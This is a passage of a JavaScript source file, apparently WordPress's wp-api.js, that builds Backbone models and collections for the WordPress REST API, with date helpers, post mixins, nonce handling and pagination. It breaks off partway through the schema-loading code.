1/**
2 * @output wp-includes/js/wp-api.js
3 */
4
5(function( window, undefined ) {
6
7 'use strict';
8
9 /**
10 * Initialize the WP_API.
11 */
12 function WP_API() {
13 /** @namespace wp.api.models */
14 this.models = {};
15 /** @namespace wp.api.collections */
16 this.collections = {};
17 /** @namespace wp.api.views */
18 this.views = {};
19 }
20
21 /** @namespace wp */
22 window.wp = window.wp || {};
23 /** @namespace wp.api */
24 wp.api = wp.api || new WP_API();
25 wp.api.versionString = wp.api.versionString || 'wp/v2/';
26
27 // Alias _includes to _.contains, ensuring it is available if lodash is used.
28 if ( ! _.isFunction( _.includes ) && _.isFunction( _.contains ) ) {
29 _.includes = _.contains;
30 }
31
32})( window );
33
34(function( window, undefined ) {
35
36 'use strict';
37
38 var pad, r;
39
40 /** @namespace wp */
41 window.wp = window.wp || {};
42 /** @namespace wp.api */
43 wp.api = wp.api || {};
44 /** @namespace wp.api.utils */
45 wp.api.utils = wp.api.utils || {};
46
47 /**
48 * Determine model based on API route.
49 *
50 * @param {string} route The API route.
51 *
52 * @return {Backbone Model} The model found at given route. Undefined if not found.
53 */
54 wp.api.getModelByRoute = function( route ) {
55 return _.find( wp.api.models, function( model ) {
56 return model.prototype.route && route === model.prototype.route.index;
57 } );
58 };
59
60 /**
61 * Determine collection based on API route.
62 *
63 * @param {string} route The API route.
64 *
65 * @return {Backbone Model} The collection found at given route. Undefined if not found.
66 */
67 wp.api.getCollectionByRoute = function( route ) {
68 return _.find( wp.api.collections, function( collection ) {
69 return collection.prototype.route && route === collection.prototype.route.index;
70 } );
71 };
72
73
74 /**
75 * ECMAScript 5 shim, adapted from MDN.
76 * @link https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/Date/toISOString
77 */
78 if ( ! Date.prototype.toISOString ) {
79 pad = function( number ) {
80 r = String( number );
81 if ( 1 === r.length ) {
82 r = '0' + r;
83 }
84
85 return r;
86 };
87
88 Date.prototype.toISOString = function() {
89 return this.getUTCFullYear() +
90 '-' + pad( this.getUTCMonth() + 1 ) +
91 '-' + pad( this.getUTCDate() ) +
92 'T' + pad( this.getUTCHours() ) +
93 ':' + pad( this.getUTCMinutes() ) +
94 ':' + pad( this.getUTCSeconds() ) +
95 '.' + String( ( this.getUTCMilliseconds() / 1000 ).toFixed( 3 ) ).slice( 2, 5 ) +
96 'Z';
97 };
98 }
99
100 /**
101 * Parse date into ISO8601 format.
102 *
103 * @param {Date} date.
104 */
105 wp.api.utils.parseISO8601 = function( date ) {
106 var timestamp, struct, i, k,
107 minutesOffset = 0,
108 numericKeys = [ 1, 4, 5, 6, 7, 10, 11 ];
109
110 /*
111 * ES5 §15.9.4.2 states that the string should attempt to be parsed as a Date Time String Format string
112 * before falling back to any implementation-specific date parsing, so that’s what we do, even if native
113 * implementations could be faster.
114 */
115 // 1 YYYY 2 MM 3 DD 4 HH 5 mm 6 ss 7 msec 8 Z 9 ± 10 tzHH 11 tzmm
116 if ( ( struct = /^(\d{4}|[+\-]\d{6})(?:-(\d{2})(?:-(\d{2}))?)?(?:T(\d{2}):(\d{2})(?::(\d{2})(?:\.(\d{3}))?)?(?:(Z)|([+\-])(\d{2})(?::(\d{2}))?)?)?$/.exec( date ) ) ) {
117
118 // Avoid NaN timestamps caused by “undefined” values being passed to Date.UTC.
119 for ( i = 0; ( k = numericKeys[i] ); ++i ) {
120 struct[k] = +struct[k] || 0;
121 }
122
123 // Allow undefined days and months.
124 struct[2] = ( +struct[2] || 1 ) - 1;
125 struct[3] = +struct[3] || 1;
126
127 if ( 'Z' !== struct[8] && undefined !== struct[9] ) {
128 minutesOffset = struct[10] * 60 + struct[11];
129
130 if ( '+' === struct[9] ) {
131 minutesOffset = 0 - minutesOffset;
132 }
133 }
134
135 timestamp = Date.UTC( struct[1], struct[2], struct[3], struct[4], struct[5] + minutesOffset, struct[6], struct[7] );
136 } else {
137 timestamp = Date.parse ? Date.parse( date ) : NaN;
138 }
139
140 return timestamp;
141 };
142
143 /**
144 * Helper function for getting the root URL.
145 * @return {[type]} [description]
146 */
147 wp.api.utils.getRootUrl = function() {
148 return window.location.origin ?
149 window.location.origin + '/' :
150 window.location.protocol + '//' + window.location.host + '/';
151 };
152
153 /**
154 * Helper for capitalizing strings.
155 */
156 wp.api.utils.capitalize = function( str ) {
157 if ( _.isUndefined( str ) ) {
158 return str;
159 }
160 return str.charAt( 0 ).toUpperCase() + str.slice( 1 );
161 };
162
163 /**
164 * Helper function that capitalizes the first word and camel cases any words starting
165 * after dashes, removing the dashes.
166 */
167 wp.api.utils.capitalizeAndCamelCaseDashes = function( str ) {
168 if ( _.isUndefined( str ) ) {
169 return str;
170 }
171 str = wp.api.utils.capitalize( str );
172
173 return wp.api.utils.camelCaseDashes( str );
174 };
175
176 /**
177 * Helper function to camel case the letter after dashes, removing the dashes.
178 */
179 wp.api.utils.camelCaseDashes = function( str ) {
180 return str.replace( /-([a-z])/g, function( g ) {
181 return g[ 1 ].toUpperCase();
182 } );
183 };
184
185 /**
186 * Extract a route part based on negative index.
187 *
188 * @param {string} route The endpoint route.
189 * @param {number} part The number of parts from the end of the route to retrieve. Default 1.
190 * Example route `/a/b/c`: part 1 is `c`, part 2 is `b`, part 3 is `a`.
191 * @param {string} [versionString] Version string, defaults to `wp.api.versionString`.
192 * @param {boolean} [reverse] Whether to reverse the order when extracting the route part. Optional, default false.
193 */
194 wp.api.utils.extractRoutePart = function( route, part, versionString, reverse ) {
195 var routeParts;
196
197 part = part || 1;
198 versionString = versionString || wp.api.versionString;
199
200 // Remove versions string from route to avoid returning it.
201 if ( 0 === route.indexOf( '/' + versionString ) ) {
202 route = route.substr( versionString.length + 1 );
203 }
204
205 routeParts = route.split( '/' );
206 if ( reverse ) {
207 routeParts = routeParts.reverse();
208 }
209 if ( _.isUndefined( routeParts[ --part ] ) ) {
210 return '';
211 }
212 return routeParts[ part ];
213 };
214
215 /**
216 * Extract a parent name from a passed route.
217 *
218 * @param {string} route The route to extract a name from.
219 */
220 wp.api.utils.extractParentName = function( route ) {
221 var name,
222 lastSlash = route.lastIndexOf( '_id>[\\d]+)/' );
223
224 if ( lastSlash < 0 ) {
225 return '';
226 }
227 name = route.substr( 0, lastSlash - 1 );
228 name = name.split( '/' );
229 name.pop();
230 name = name.pop();
231 return name;
232 };
233
234 /**
235 * Add args and options to a model prototype from a route's endpoints.
236 *
237 * @param {Array} routeEndpoints Array of route endpoints.
238 * @param {Object} modelInstance An instance of the model (or collection)
239 * to add the args to.
240 */
241 wp.api.utils.decorateFromRoute = function( routeEndpoints, modelInstance ) {
242
243 /**
244 * Build the args based on route endpoint data.
245 */
246 _.each( routeEndpoints, function( routeEndpoint ) {
247
248 // Add post and edit endpoints as model args.
249 if ( _.includes( routeEndpoint.methods, 'POST' ) || _.includes( routeEndpoint.methods, 'PUT' ) ) {
250
251 // Add any non-empty args, merging them into the args object.
252 if ( ! _.isEmpty( routeEndpoint.args ) ) {
253
254 // Set as default if no args yet.
255 if ( _.isEmpty( modelInstance.prototype.args ) ) {
256 modelInstance.prototype.args = routeEndpoint.args;
257 } else {
258
259 // We already have args, merge these new args in.
260 modelInstance.prototype.args = _.extend( modelInstance.prototype.args, routeEndpoint.args );
261 }
262 }
263 } else {
264
265 // Add GET method as model options.
266 if ( _.includes( routeEndpoint.methods, 'GET' ) ) {
267
268 // Add any non-empty args, merging them into the defaults object.
269 if ( ! _.isEmpty( routeEndpoint.args ) ) {
270
271 // Set as default if no defaults yet.
272 if ( _.isEmpty( modelInstance.prototype.options ) ) {
273 modelInstance.prototype.options = routeEndpoint.args;
274 } else {
275
276 // We already have options, merge these new args in.
277 modelInstance.prototype.options = _.extend( modelInstance.prototype.options, routeEndpoint.args );
278 }
279 }
280
281 }
282 }
283
284 } );
285
286 };
287
288 /**
289 * Add mixins and helpers to models depending on their defaults.
290 *
291 * @param {Backbone Model} model The model to attach helpers and mixins to.
292 * @param {string} modelClassName The classname of the constructed model.
293 * @param {Object} loadingObjects An object containing the models and collections we are building.
294 */
295 wp.api.utils.addMixinsAndHelpers = function( model, modelClassName, loadingObjects ) {
296
297 var hasDate = false,
298
299 /**
300 * Array of parseable dates.
301 *
302 * @type {string[]}.
303 */
304 parseableDates = [ 'date', 'modified', 'date_gmt', 'modified_gmt' ],
305
306 /**
307 * Mixin for all content that is time stamped.
308 *
309 * This mixin converts between mysql timestamps and JavaScript Dates when syncing a model
310 * to or from the server. For example, a date stored as `2015-12-27T21:22:24` on the server
311 * gets expanded to `Sun Dec 27 2015 14:22:24 GMT-0700 (MST)` when the model is fetched.
312 *
313 * @type {{toJSON: toJSON, parse: parse}}.
314 */
315 TimeStampedMixin = {
316
317 /**
318 * Prepare a JavaScript Date for transmitting to the server.
319 *
320 * This helper function accepts a field and Date object. It converts the passed Date
321 * to an ISO string and sets that on the model field.
322 *
323 * @param {Date} date A JavaScript date object. WordPress expects dates in UTC.
324 * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified'
325 * or 'date_modified_gmt'. Optional, defaults to 'date'.
326 */
327 setDate: function( date, field ) {
328 var theField = field || 'date';
329
330 // Don't alter non-parsable date fields.
331 if ( _.indexOf( parseableDates, theField ) < 0 ) {
332 return false;
333 }
334
335 this.set( theField, date.toISOString() );
336 },
337
338 /**
339 * Get a JavaScript Date from the passed field.
340 *
341 * WordPress returns 'date' and 'date_modified' in the timezone of the server as well as
342 * UTC dates as 'date_gmt' and 'date_modified_gmt'. Draft posts do not include UTC dates.
343 *
344 * @param {string} field The date field to set. One of 'date', 'date_gmt', 'date_modified'
345 * or 'date_modified_gmt'. Optional, defaults to 'date'.
346 */
347 getDate: function( field ) {
348 var theField = field || 'date',
349 theISODate = this.get( theField );
350
351 // Only get date fields and non-null values.
352 if ( _.indexOf( parseableDates, theField ) < 0 || _.isNull( theISODate ) ) {
353 return false;
354 }
355
356 return new Date( wp.api.utils.parseISO8601( theISODate ) );
357 }
358 },
359
360 /**
361 * Build a helper function to retrieve related model.
362 *
363 * @param {string} parentModel The parent model.
364 * @param {number} modelId The model ID if the object to request
365 * @param {string} modelName The model name to use when constructing the model.
366 * @param {string} embedSourcePoint Where to check the embedded object for _embed data.
367 * @param {string} embedCheckField Which model field to check to see if the model has data.
368 *
369 * @return {Deferred.promise} A promise which resolves to the constructed model.
370 */
371 buildModelGetter = function( parentModel, modelId, modelName, embedSourcePoint, embedCheckField ) {
372 var getModel, embeddedObjects, attributes, deferred;
373
374 deferred = jQuery.Deferred();
375 embeddedObjects = parentModel.get( '_embedded' ) || {};
376
377 // Verify that we have a valid object id.
378 if ( ! _.isNumber( modelId ) || 0 === modelId ) {
379 deferred.reject();
380 return deferred;
381 }
382
383 // If we have embedded object data, use that when constructing the getModel.
384 if ( embeddedObjects[ embedSourcePoint ] ) {
385 attributes = _.findWhere( embeddedObjects[ embedSourcePoint ], { id: modelId } );
386 }
387
388 // Otherwise use the modelId.
389 if ( ! attributes ) {
390 attributes = { id: modelId };
391 }
392
393 // Create the new getModel model.
394 getModel = new wp.api.models[ modelName ]( attributes );
395
396 if ( ! getModel.get( embedCheckField ) ) {
397 getModel.fetch( {
398 success: function( getModel ) {
399 deferred.resolve( getModel );
400 },
401 error: function( getModel, response ) {
402 deferred.reject( response );
403 }
404 } );
405 } else {
406 // Resolve with the embedded model.
407 deferred.resolve( getModel );
408 }
409
410 // Return a promise.
411 return deferred.promise();
412 },
413
414 /**
415 * Build a helper to retrieve a collection.
416 *
417 * @param {string} parentModel The parent model.
418 * @param {string} collectionName The name to use when constructing the collection.
419 * @param {string} embedSourcePoint Where to check the embedded object for _embed data.
420 * @param {string} embedIndex An additional optional index for the _embed data.
421 *
422 * @return {Deferred.promise} A promise which resolves to the constructed collection.
423 */
424 buildCollectionGetter = function( parentModel, collectionName, embedSourcePoint, embedIndex ) {
425 /**
426 * Returns a promise that resolves to the requested collection
427 *
428 * Uses the embedded data if available, otherwise fetches the
429 * data from the server.
430 *
431 * @return {Deferred.promise} promise Resolves to a wp.api.collections[ collectionName ]
432 * collection.
433 */
434 var postId, embeddedObjects, getObjects,
435 classProperties = '',
436 properties = '',
437 deferred = jQuery.Deferred();
438
439 postId = parentModel.get( 'id' );
440 embeddedObjects = parentModel.get( '_embedded' ) || {};
441
442 // Verify that we have a valid post ID.
443 if ( ! _.isNumber( postId ) || 0 === postId ) {
444 deferred.reject();
445 return deferred;
446 }
447
448 // If we have embedded getObjects data, use that when constructing the getObjects.
449 if ( ! _.isUndefined( embedSourcePoint ) && ! _.isUndefined( embeddedObjects[ embedSourcePoint ] ) ) {
450
451 // Some embeds also include an index offset, check for that.
452 if ( _.isUndefined( embedIndex ) ) {
453
454 // Use the embed source point directly.
455 properties = embeddedObjects[ embedSourcePoint ];
456 } else {
457
458 // Add the index to the embed source point.
459 properties = embeddedObjects[ embedSourcePoint ][ embedIndex ];
460 }
461 } else {
462
463 // Otherwise use the postId.
464 classProperties = { parent: postId };
465 }
466
467 // Create the new getObjects collection.
468 getObjects = new wp.api.collections[ collectionName ]( properties, classProperties );
469
470 // If we didn’t have embedded getObjects, fetch the getObjects data.
471 if ( _.isUndefined( getObjects.models[0] ) ) {
472 getObjects.fetch( {
473 success: function( getObjects ) {
474
475 // Add a helper 'parent_post' attribute onto the model.
476 setHelperParentPost( getObjects, postId );
477 deferred.resolve( getObjects );
478 },
479 error: function( getModel, response ) {
480 deferred.reject( response );
481 }
482 } );
483 } else {
484
485 // Add a helper 'parent_post' attribute onto the model.
486 setHelperParentPost( getObjects, postId );
487 deferred.resolve( getObjects );
488 }
489
490 // Return a promise.
491 return deferred.promise();
492
493 },
494
495 /**
496 * Set the model post parent.
497 */
498 setHelperParentPost = function( collection, postId ) {
499
500 // Attach post_parent id to the collection.
501 _.each( collection.models, function( model ) {
502 model.set( 'parent_post', postId );
503 } );
504 },
505
506 /**
507 * Add a helper function to handle post Meta.
508 */
509 MetaMixin = {
510
511 /**
512 * Get meta by key for a post.
513 *
514 * @param {string} key The meta key.
515 *
516 * @return {Object} The post meta value.
517 */
518 getMeta: function( key ) {
519 var metas = this.get( 'meta' );
520 return metas[ key ];
521 },
522
523 /**
524 * Get all meta key/values for a post.
525 *
526 * @return {Object} The post metas, as a key value pair object.
527 */
528 getMetas: function() {
529 return this.get( 'meta' );
530 },
531
532 /**
533 * Set a group of meta key/values for a post.
534 *
535 * @param {Object} meta The post meta to set, as key/value pairs.
536 */
537 setMetas: function( meta ) {
538 var metas = this.get( 'meta' );
539 _.extend( metas, meta );
540 this.set( 'meta', metas );
541 },
542
543 /**
544 * Set a single meta value for a post, by key.
545 *
546 * @param {string} key The meta key.
547 * @param {Object} value The meta value.
548 */
549 setMeta: function( key, value ) {
550 var metas = this.get( 'meta' );
551 metas[ key ] = value;
552 this.set( 'meta', metas );
553 }
554 },
555
556 /**
557 * Add a helper function to handle post Revisions.
558 */
559 RevisionsMixin = {
560 getRevisions: function() {
561 return buildCollectionGetter( this, 'PostRevisions' );
562 }
563 },
564
565 /**
566 * Add a helper function to handle post Tags.
567 */
568 TagsMixin = {
569
570 /**
571 * Get the tags for a post.
572 *
573 * @return {Deferred.promise} promise Resolves to an array of tags.
574 */
575 getTags: function() {
576 var tagIds = this.get( 'tags' ),
577 tags = new wp.api.collections.Tags();
578
579 // Resolve with an empty array if no tags.
580 if ( _.isEmpty( tagIds ) ) {
581 return jQuery.Deferred().resolve( [] );
582 }
583
584 return tags.fetch( { data: { include: tagIds } } );
585 },
586
587 /**
588 * Set the tags for a post.
589 *
590 * Accepts an array of tag slugs, or a Tags collection.
591 *
592 * @param {Array|Backbone.Collection} tags The tags to set on the post.
593 *
594 */
595 setTags: function( tags ) {
596 var allTags, newTag,
597 self = this,
598 newTags = [];
599
600 if ( _.isString( tags ) ) {
601 return false;
602 }
603
604 // If this is an array of slugs, build a collection.
605 if ( _.isArray( tags ) ) {
606
607 // Get all the tags.
608 allTags = new wp.api.collections.Tags();
609 allTags.fetch( {
610 data: { per_page: 100 },
611 success: function( alltags ) {
612
613 // Find the passed tags and set them up.
614 _.each( tags, function( tag ) {
615 newTag = new wp.api.models.Tag( alltags.findWhere( { slug: tag } ) );
616
617 // Tie the new tag to the post.
618 newTag.set( 'parent_post', self.get( 'id' ) );
619
620 // Add the new tag to the collection.
621 newTags.push( newTag );
622 } );
623 tags = new wp.api.collections.Tags( newTags );
624 self.setTagsWithCollection( tags );
625 }
626 } );
627
628 } else {
629 this.setTagsWithCollection( tags );
630 }
631 },
632
633 /**
634 * Set the tags for a post.
635 *
636 * Accepts a Tags collection.
637 *
638 * @param {Array|Backbone.Collection} tags The tags to set on the post.
639 *
640 */
641 setTagsWithCollection: function( tags ) {
642
643 // Pluck out the category IDs.
644 this.set( 'tags', tags.pluck( 'id' ) );
645 return this.save();
646 }
647 },
648
649 /**
650 * Add a helper function to handle post Categories.
651 */
652 CategoriesMixin = {
653
654 /**
655 * Get a the categories for a post.
656 *
657 * @return {Deferred.promise} promise Resolves to an array of categories.
658 */
659 getCategories: function() {
660 var categoryIds = this.get( 'categories' ),
661 categories = new wp.api.collections.Categories();
662
663 // Resolve with an empty array if no categories.
664 if ( _.isEmpty( categoryIds ) ) {
665 return jQuery.Deferred().resolve( [] );
666 }
667
668 return categories.fetch( { data: { include: categoryIds } } );
669 },
670
671 /**
672 * Set the categories for a post.
673 *
674 * Accepts an array of category slugs, or a Categories collection.
675 *
676 * @param {Array|Backbone.Collection} categories The categories to set on the post.
677 *
678 */
679 setCategories: function( categories ) {
680 var allCategories, newCategory,
681 self = this,
682 newCategories = [];
683
684 if ( _.isString( categories ) ) {
685 return false;
686 }
687
688 // If this is an array of slugs, build a collection.
689 if ( _.isArray( categories ) ) {
690
691 // Get all the categories.
692 allCategories = new wp.api.collections.Categories();
693 allCategories.fetch( {
694 data: { per_page: 100 },
695 success: function( allcats ) {
696
697 // Find the passed categories and set them up.
698 _.each( categories, function( category ) {
699 newCategory = new wp.api.models.Category( allcats.findWhere( { slug: category } ) );
700
701 // Tie the new category to the post.
702 newCategory.set( 'parent_post', self.get( 'id' ) );
703
704 // Add the new category to the collection.
705 newCategories.push( newCategory );
706 } );
707 categories = new wp.api.collections.Categories( newCategories );
708 self.setCategoriesWithCollection( categories );
709 }
710 } );
711
712 } else {
713 this.setCategoriesWithCollection( categories );
714 }
715
716 },
717
718 /**
719 * Set the categories for a post.
720 *
721 * Accepts Categories collection.
722 *
723 * @param {Array|Backbone.Collection} categories The categories to set on the post.
724 *
725 */
726 setCategoriesWithCollection: function( categories ) {
727
728 // Pluck out the category IDs.
729 this.set( 'categories', categories.pluck( 'id' ) );
730 return this.save();
731 }
732 },
733
734 /**
735 * Add a helper function to retrieve the author user model.
736 */
737 AuthorMixin = {
738 getAuthorUser: function() {
739 return buildModelGetter( this, this.get( 'author' ), 'User', 'author', 'name' );
740 }
741 },
742
743 /**
744 * Add a helper function to retrieve the featured media.
745 */
746 FeaturedMediaMixin = {
747 getFeaturedMedia: function() {
748 return buildModelGetter( this, this.get( 'featured_media' ), 'Media', 'wp:featuredmedia', 'source_url' );
749 }
750 };
751
752 // Exit if we don't have valid model defaults.
753 if ( _.isUndefined( model.prototype.args ) ) {
754 return model;
755 }
756
757 // Go thru the parsable date fields, if our model contains any of them it gets the TimeStampedMixin.
758 _.each( parseableDates, function( theDateKey ) {
759 if ( ! _.isUndefined( model.prototype.args[ theDateKey ] ) ) {
760 hasDate = true;
761 }
762 } );
763
764 // Add the TimeStampedMixin for models that contain a date field.
765 if ( hasDate ) {
766 model = model.extend( TimeStampedMixin );
767 }
768
769 // Add the AuthorMixin for models that contain an author.
770 if ( ! _.isUndefined( model.prototype.args.author ) ) {
771 model = model.extend( AuthorMixin );
772 }
773
774 // Add the FeaturedMediaMixin for models that contain a featured_media.
775 if ( ! _.isUndefined( model.prototype.args.featured_media ) ) {
776 model = model.extend( FeaturedMediaMixin );
777 }
778
779 // Add the CategoriesMixin for models that support categories collections.
780 if ( ! _.isUndefined( model.prototype.args.categories ) ) {
781 model = model.extend( CategoriesMixin );
782 }
783
784 // Add the MetaMixin for models that support meta.
785 if ( ! _.isUndefined( model.prototype.args.meta ) ) {
786 model = model.extend( MetaMixin );
787 }
788
789 // Add the TagsMixin for models that support tags collections.
790 if ( ! _.isUndefined( model.prototype.args.tags ) ) {
791 model = model.extend( TagsMixin );
792 }
793
794 // Add the RevisionsMixin for models that support revisions collections.
795 if ( ! _.isUndefined( loadingObjects.collections[ modelClassName + 'Revisions' ] ) ) {
796 model = model.extend( RevisionsMixin );
797 }
798
799 return model;
800 };
801
802})( window );
803
804/* global wpApiSettings:false */
805
806// Suppress warning about parse function's unused "options" argument:
807/* jshint unused:false */
808(function() {
809
810 'use strict';
811
812 var wpApiSettings = window.wpApiSettings || {},
813 trashableTypes = [ 'Comment', 'Media', 'Comment', 'Post', 'Page', 'Status', 'Taxonomy', 'Type' ];
814
815 /**
816 * Backbone base model for all models.
817 */
818 wp.api.WPApiBaseModel = Backbone.Model.extend(
819 /** @lends WPApiBaseModel.prototype */
820 {
821
822 // Initialize the model.
823 initialize: function() {
824
825 /**
826 * Types that don't support trashing require passing ?force=true to delete.
827 *
828 */
829 if ( -1 === _.indexOf( trashableTypes, this.name ) ) {
830 this.requireForceForDelete = true;
831 }
832 },
833
834 /**
835 * Set nonce header before every Backbone sync.
836 *
837 * @param {string} method.
838 * @param {Backbone.Model} model.
839 * @param {{beforeSend}, *} options.
840 * @return {*}.
841 */
842 sync: function( method, model, options ) {
843 var beforeSend;
844
845 options = options || {};
846
847 // Remove date_gmt if null.
848 if ( _.isNull( model.get( 'date_gmt' ) ) ) {
849 model.unset( 'date_gmt' );
850 }
851
852 // Remove slug if empty.
853 if ( _.isEmpty( model.get( 'slug' ) ) ) {
854 model.unset( 'slug' );
855 }
856
857 if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) {
858 beforeSend = options.beforeSend;
859
860 // @todo Enable option for jsonp endpoints.
861 // options.dataType = 'jsonp';
862
863 // Include the nonce with requests.
864 options.beforeSend = function( xhr ) {
865 xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() );
866
867 if ( beforeSend ) {
868 return beforeSend.apply( this, arguments );
869 }
870 };
871
872 // Update the nonce when a new nonce is returned with the response.
873 options.complete = function( xhr ) {
874 var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' );
875
876 if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) {
877 model.endpointModel.set( 'nonce', returnedNonce );
878 }
879 };
880 }
881
882 // Add '?force=true' to use delete method when required.
883 if ( this.requireForceForDelete && 'delete' === method ) {
884 model.url = model.url() + '?force=true';
885 }
886 return Backbone.sync( method, model, options );
887 },
888
889 /**
890 * Save is only allowed when the PUT OR POST methods are available for the endpoint.
891 */
892 save: function( attrs, options ) {
893
894 // Do we have the put method, then execute the save.
895 if ( _.includes( this.methods, 'PUT' ) || _.includes( this.methods, 'POST' ) ) {
896
897 // Proxy the call to the original save function.
898 return Backbone.Model.prototype.save.call( this, attrs, options );
899 } else {
900
901 // Otherwise bail, disallowing action.
902 return false;
903 }
904 },
905
906 /**
907 * Delete is only allowed when the DELETE method is available for the endpoint.
908 */
909 destroy: function( options ) {
910
911 // Do we have the DELETE method, then execute the destroy.
912 if ( _.includes( this.methods, 'DELETE' ) ) {
913
914 // Proxy the call to the original save function.
915 return Backbone.Model.prototype.destroy.call( this, options );
916 } else {
917
918 // Otherwise bail, disallowing action.
919 return false;
920 }
921 }
922
923 }
924 );
925
926 /**
927 * API Schema model. Contains meta information about the API.
928 */
929 wp.api.models.Schema = wp.api.WPApiBaseModel.extend(
930 /** @lends Schema.prototype */
931 {
932 defaults: {
933 _links: {},
934 namespace: null,
935 routes: {}
936 },
937
938 initialize: function( attributes, options ) {
939 var model = this;
940 options = options || {};
941
942 wp.api.WPApiBaseModel.prototype.initialize.call( model, attributes, options );
943
944 model.apiRoot = options.apiRoot || wpApiSettings.root;
945 model.versionString = options.versionString || wpApiSettings.versionString;
946 },
947
948 url: function() {
949 return this.apiRoot + this.versionString;
950 }
951 }
952 );
953})();
954
955( function() {
956
957 'use strict';
958
959 var wpApiSettings = window.wpApiSettings || {};
960
961 /**
962 * Contains basic collection functionality such as pagination.
963 */
964 wp.api.WPApiBaseCollection = Backbone.Collection.extend(
965 /** @lends BaseCollection.prototype */
966 {
967
968 /**
969 * Setup default state.
970 */
971 initialize: function( models, options ) {
972 this.state = {
973 data: {},
974 currentPage: null,
975 totalPages: null,
976 totalObjects: null
977 };
978 if ( _.isUndefined( options ) ) {
979 this.parent = '';
980 } else {
981 this.parent = options.parent;
982 }
983 },
984
985 /**
986 * Extend Backbone.Collection.sync to add nince and pagination support.
987 *
988 * Set nonce header before every Backbone sync.
989 *
990 * @param {string} method.
991 * @param {Backbone.Model} model.
992 * @param {{success}, *} options.
993 * @return {*}.
994 */
995 sync: function( method, model, options ) {
996 var beforeSend, success,
997 self = this;
998
999 options = options || {};
1000
1001 if ( _.isFunction( model.nonce ) && ! _.isEmpty( model.nonce() ) ) {
1002 beforeSend = options.beforeSend;
1003
1004 // Include the nonce with requests.
1005 options.beforeSend = function( xhr ) {
1006 xhr.setRequestHeader( 'X-WP-Nonce', model.nonce() );
1007
1008 if ( beforeSend ) {
1009 return beforeSend.apply( self, arguments );
1010 }
1011 };
1012
1013 // Update the nonce when a new nonce is returned with the response.
1014 options.complete = function( xhr ) {
1015 var returnedNonce = xhr.getResponseHeader( 'X-WP-Nonce' );
1016
1017 if ( returnedNonce && _.isFunction( model.nonce ) && model.nonce() !== returnedNonce ) {
1018 model.endpointModel.set( 'nonce', returnedNonce );
1019 }
1020 };
1021 }
1022
1023 // When reading, add pagination data.
1024 if ( 'read' === method ) {
1025 if ( options.data ) {
1026 self.state.data = _.clone( options.data );
1027
1028 delete self.state.data.page;
1029 } else {
1030 self.state.data = options.data = {};
1031 }
1032
1033 if ( 'undefined' === typeof options.data.page ) {
1034 self.state.currentPage = null;
1035 self.state.totalPages = null;
1036 self.state.totalObjects = null;
1037 } else {
1038 self.state.currentPage = options.data.page - 1;
1039 }
1040
1041 success = options.success;
1042 options.success = function( data, textStatus, request ) {
1043 if ( ! _.isUndefined( request ) ) {
1044 self.state.totalPages = parseInt( request.getResponseHeader( 'x-wp-totalpages' ), 10 );
1045 self.state.totalObjects = parseInt( request.getResponseHeader( 'x-wp-total' ), 10 );
1046 }
1047
1048 if ( null === self.state.currentPage ) {
1049 self.state.currentPage = 1;
1050 } else {
1051 self.state.currentPage++;
1052 }
1053
1054 if ( success ) {
1055 return success.apply( this, arguments );
1056 }
1057 };
1058 }
1059
1060 // Continue by calling Backbone's sync.
1061 return Backbone.sync( method, model, options );
1062 },
1063
1064 /**
1065 * Fetches the next page of objects if a new page exists.
1066 *
1067 * @param {data: {page}} options.
1068 * @return {*}.
1069 */
1070 more: function( options ) {
1071 options = options || {};
1072 options.data = options.data || {};
1073
1074 _.extend( options.data, this.state.data );
1075
1076 if ( 'undefined' === typeof options.data.page ) {
1077 if ( ! this.hasMore() ) {
1078 return false;
1079 }
1080
1081 if ( null === this.state.currentPage || this.state.currentPage <= 1 ) {
1082 options.data.page = 2;
1083 } else {
1084 options.data.page = this.state.currentPage + 1;
1085 }
1086 }
1087
1088 return this.fetch( options );
1089 },
1090
1091 /**
1092 * Returns true if there are more pages of objects available.
1093 *
1094 * @return {null|boolean}
1095 */
1096 hasMore: function() {
1097 if ( null === this.state.totalPages ||
1098 null === this.state.totalObjects ||
1099 null === this.state.currentPage ) {
1100 return null;
1101 } else {
1102 return ( this.state.currentPage < this.state.totalPages );
1103 }
1104 }
1105 }
1106 );
1107
1108} )();
1109
1110( function() {
1111
1112 'use strict';
1113
1114 var Endpoint, initializedDeferreds = {},
1115 wpApiSettings = window.wpApiSettings || {};
1116
1117 /** @namespace wp */
1118 window.wp = window.wp || {};
1119
1120 /** @namespace wp.api */
1121 wp.api = wp.api || {};
1122
1123 // If wpApiSettings is unavailable, try the default.
1124 if ( _.isEmpty( wpApiSettings ) ) {
1125 wpApiSettings.root = window.location.origin + '/wp-json/';
1126 }
1127
1128 Endpoint = Backbone.Model.extend(/** @lends Endpoint.prototype */{
1129 defaults: {
1130 apiRoot: wpApiSettings.root,
1131 versionString: wp.api.versionString,
1132 nonce: null,
1133 schema: null,
1134 models: {},
1135 collections: {}
1136 },
1137
1138 /**
1139 * Initialize the Endpoint model.
1140 */
1141 initialize: function() {
1142 var model = this, deferred;
1143
1144 Backbone.Model.prototype.initialize.apply( model, arguments );
1145
1146 deferred = jQuery.Deferred();
1147 model.schemaConstructed = deferred.promise();
1148
1149 model.schemaModel = new wp.api.models.Schema( null, {
1150 apiRoot: model.get( 'apiRoot' ),
1151 versionString: model.get( 'versionString' ),
1152 nonce: model.get( 'nonce' )
1153 } );
1154
1155 // When the model loads, resolve the promise.
1156 model.schemaModel.once( 'change', function() {
1157 model.constructFromSchema();
1158 deferred.resolve( model );
1159 } );
1160
1161 if ( model.get( 'schema' ) ) {
1162
1163 // Use schema supplied as model attribute.
1164 model.schemaModel.set( model.schemaModel.parse( model.get( 'schema' ) ) );
1165 } else if (
1166 ! _.isUndefined( sessionStorage ) &&
1167 ( _.isUndefined( wpApiSettings.cacheSchema ) || wpApiSettings.cacheSchema ) &&
1168 sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) )
1169 ) {
1170
1171 // Used a cached copy of the schema model if available.
1172 model.schemaModel.set( model.schemaModel.parse( JSON.parse( sessionStorage.getItem( 'wp-api-schema-model' + model.get( 'apiRoot' ) + model.get( 'versionString' ) ) ) ) );
1173 } else {
1174 model.schemaModel.fetch( {
